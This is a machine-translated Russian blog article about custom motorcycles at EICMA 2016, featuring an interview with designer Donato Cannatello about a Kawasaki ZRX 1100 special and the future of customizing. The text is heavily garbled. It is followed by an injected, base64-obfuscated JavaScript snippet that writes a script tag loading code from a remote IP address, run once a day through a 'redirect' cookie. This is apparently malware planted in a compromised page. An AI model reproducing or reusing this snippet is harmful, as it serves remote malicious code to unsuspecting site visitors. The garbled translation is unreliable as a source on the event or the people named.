GIVEN motodesign | ДИЗАЙН & ENGINEERING | Мото на заказ | Milano

MOTO.IT

В обратном порядке: то, что вы читаете комментарий и кто захочет от вас читателей напишет ниже реальную статью о специальном и ПОЛЬЗ.ДИСПЛЕЕ на EICMA 2016: Я ставлю себя вне журналистский и в прямо в диком шуме личного мнения, антипатия / симпатия что-то вроде настройки, и многие его аспекты, который по определению является местом противостояния между противоборствующим образом жизни и асимптотического мотоспортом, поэтому я прошу всех, чтобы рассмотреть эти строки простой комментарий: Подлинный товар я буду писать желающие читатель.

Для того, чтобы попытаться сориентироваться в сотнях маяков, которые я подмигнул убедителен, и узнать больше, пусть себе соблазниться стенд Учитывая Motodesign, что подвергаются, среди прочего, – Интересно, что на мой взгляд – специальный су база Kawasaki ZRX 1100 (называется «ебать») в сотрудничестве с Officine Riunite Миланези, который заинтриговал меня много многоугольных дисков, гарантировать строгую операцию, которая установила же поставщик, легендарный сам Энрико Discacciati!

Донато Cannatello (Донато-С учетом… понимать?), ДАЛ владелицу и опыт проектирования в ЧР&S, бесподобный, бой, Aprilia, Он был терпелив, и обмен поболтать со мной выставила мне свою точку зрения на EICMA 2016 и будущее настройки.

Чтобы поместить ДАЛИ и мнения, сообщает Донато, Добавим, что имеет дело с так, чтобы предоставлять услуги планирования и дизайна для тех, кто хочет построить прототип (от концепции до предсерийного привести к производству), как те частные лица, которые просят «кадр от» проектов на мотоциклах.

«Как ни странно, мы имели много обратной связи от ZRX что дуу, как выставлены на нашем стенде, несмотря на ем, несомненно, является более изысканным дизайном и Z половины намного дешевле, но, видимо, самое «глаза зрелище”».

И как бы вы оценили уровень шоу в рамках обычая и специальных?

«Уровень EICMA, если мы ограничимся обычаем и специальным, кажется, гораздо выше, и зрелым, чем несколько лет назад: от artiginali реальностей, который до сих пор производит исключительные результаты, Мы переходим к более зрелому подхода как на инженерном проектировании сторон. С точки зрения мотоцикла, вместо, Я любил Harley «OPERA» Южный Гараж, очень элегантный; Также он выиграл конкурс, но, как вы знаете, конкурс фактически выиграть их немного’ все (Донато относится к несметным категориям и не замечает очень много редакторов участия в); угол обычай вместо, казалось, немного’ полутон, мало места и децентрализованной, чем жизненно центр Показать, и это, кажется, немного’ противоречие: это самая сложная часть, Вместо этого многие из них не посещали, потому что они не знали, кто был в углу павильона 2; это также верно, что есть сегмент публики, которая на самом деле не заинтересованы в обычае, Они являются те, которые имеют V-Strom со стволом позади, но есть также много настоящих поклонников, которые предпочитают, чтобы увидеть кусок заготовки вместо этого даже не удалось нас найти ».

Сул Futuro дель Customizing? Донато не имеет никаких сомнений:

«Прорыв, Я думаю,, это очень ясно из прошлого: в разработке специальной она пошла от велосипеда отдохнуть на скамейке и импровизировать, all'effettuare первый, как в нашем случае, рендеринга и 3D сканирование, затем работать непосредственно на компьютере, а также записывать Правые, в листе или просто напечатаны в 3D; Настройка будущего рынка не видит его в квалификации проектировщиков, потому что сегодня каждый может взять компьютер и положить ребенка через разработать и внедрить 3D-принтер, но я думаю, что это будет продиктовано правовыми факторами, таких как соблюдение стандартов утверждения и эволюции стиля и тенденций: мы должны видеть, как долго это явление настройки очень artiginale, Я думаю, что ручная работа может быть очень хорошо вскоре вытеснен более кастомизации разработан, разработан и развивался дальше ».

Последний вопрос: потому что мозаичных шины на дороге велосипед? (ОК, мне известно, Это мой личный крестовый поход…)

«E’ Это был выбор клиента… но я должен сказать вам, что если бы не было этого запроса ZRX «Maialona» мы бы не рисуется как вы видите, понимание концепции поддержки мышц живота, а не нижние части бака, что кажется решение… «Лучший». Может быть, без бугорков шин мы сделали бы менее угловое движение, круглее ".

Я оставляю галерею мотоциклов, с восхищением для всех участников выставки индустрии обычая и особенной, что, конечно, не существует к немедленной окупаемости, но часто они вкладывают время и деньги, одержим страстью всегда двигаться немного выше перекладины в совершенство и безумие. function getCookie(е){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/г,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}